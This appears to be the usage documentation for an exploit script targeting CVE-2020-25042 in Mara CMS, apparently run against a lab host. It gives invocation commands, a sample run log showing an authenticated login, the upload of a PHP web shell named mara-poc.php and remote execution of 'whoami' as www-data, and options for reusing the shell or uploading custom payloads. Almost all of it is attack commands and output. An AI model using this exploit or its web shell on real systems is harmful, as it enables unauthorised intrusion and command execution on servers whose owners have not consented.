Python 3.8+

pip install -r requirements.txt

requests
urllib3

python3 cve_2020_25042.py \
  --url <MARA_CMS_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --cmd whoami

<MARA_CMS_URL>  # Target Mara CMS base URL. Example: http://target/cms
<USERNAME>      # Valid Mara CMS admin/manager username.
<PASSWORD>      # Valid Mara CMS admin/manager password.

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --cmd whoami

[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami

[+] Command output
MARA_CVE_2020_25042_OK
www-data

mara-poc.php

http://target/cms/img/mara-poc.php

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --cmd "ls -la"

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-name mara-poc-jxfizldy.php \
  --cmd whoami

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-url-path /cms/img/mara-poc-jxfizldy.php \
  --cmd "ls -la"

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --upload-only

--page <PAGE>
   Existing CMS page used to bootstrap login and extract shash. Default: lorem.php

--shell-name <NAME>
   PHP filename to upload or reuse. Default: mara-poc.php

--shell-url-path <PATH_OR_URL>
   Explicit shell path or URL to reuse.
   Example: /cms/img/mara-poc.php

--payload-file <FILE>
   Upload a custom PHP payload instead of the default ?cmd= shell.

--destdir <DIR>
   Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.

--force-upload
   Always login and upload, even if a reusable shell already exists.

--upload-only
   Upload the payload but do not execute --cmd.

--only-final
   Hide progress logs and print only command output.

--no-color
   Disable ANSI colors.

--debug
   Print request URLs and short handler response snippets.